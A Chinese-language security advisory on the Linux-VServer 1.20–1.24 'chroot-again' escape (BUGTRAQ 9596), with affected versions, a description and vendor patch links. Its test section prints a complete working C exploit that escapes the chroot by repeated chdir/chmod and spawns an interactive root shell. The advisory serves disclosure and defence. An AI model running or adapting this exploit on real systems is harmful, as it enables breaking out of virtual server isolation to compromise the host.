Linux VServer Project可突破CHROOT环境漏洞
受影响系统:
VServer Linux-VServer 1.24
VServer Linux-VServer 1.23
VServer Linux-VServer 1.22
VServer Linux-VServer 1.21
VServer Linux-VServer 1.20
不受影响系统:
VServer Linux-VServer 1.25
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 9596
Linux-VServer是一个允许用户在一个普通的Linux服务器上建立虚拟专用的服务器的软件。
Linux-VServer存在典型的"chroot-again"问题,本地攻击者可以利用这个漏洞以ROOT用户权限在系统上执行任意指令。
主要问题是VServer应用程序针对"chroot-again"类型的攻击没有很好的进行安全保护,攻击者可以利用这个漏洞脱离限制环境,访问限制目录之外的任意文件。
<*来源:Markus M?ller (unknown@priv.de)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107619109429591&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Markus M?ller (unknown@priv.de)提供了如下测试方法:
/* vserver deadbeef de modified the chroot-again exploit */
/* to work on vservers with "chmod 000 /vservers" */
/* Run this code in a vserver as root */
/* Tested with 2.4.24 and vserver 1.24 */
#include <sys/types.h>
#include <sys/stat.h>
main()
{
int i;
if (chdir("/") != 0) {
perror("cd /"); exit(1);
}
if (mkdir("baz", 0777) != 0) {
perror("mkdir baz");
}
if (chroot("baz") != 0) {
perror("chroot baz"); exit(1);
}
for (i=0; i<50; i++) {
if (chdir("..") != 0) {
perror("cd .."); /* exit(1); */
}
if (chmod("..", S_IXOTH) != 0) {
perror("chmod"); /* exit(1); */
}
}
if (chroot(".") != 0) {
perror("chroot ."); exit(1);
}
printf("Exploit seems to work. =)\n");
execl("/bin/sh", "sh", "-i", (char *)0);
perror("exec sh");
exit(0);
}
建议:
--------------------------------------------------------------------------------
厂商补丁:
VServer
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
VServer Patch patch-2.4.24-vs1.25.diff.gz
http://www.13thfloor.at/vserver/s_release/v1.25/patch-2.4.24-vs1.25.diff.gz
VServer Patch split-2.4.24-vs1.25.tar.gz
http://www.13thfloor.at/vserver/s_release/v1.25/split-2.4.24-vs1.25.tar.gz
VServer Patch util-vserver-0.28.tar.bz2
http://www.13thfloor.at/vserver/s_release/v1.25/util-vserver-0.28.tar.bz2
VServer Patch util-vserver-0.28-1mdk.i586.rpm
http://www.13thfloor.at/vserver/s_release/v1.25/util-vserver-0.28-1mdk.i586.rpm
VServer Patch util-vserver-linuxconf-0.28-1mdk.i586.rpm
http://www.13thfloor.at/vserver/s_release/v1.25/util-vserver-linuxconf-0.28-1mdk.i586.rpm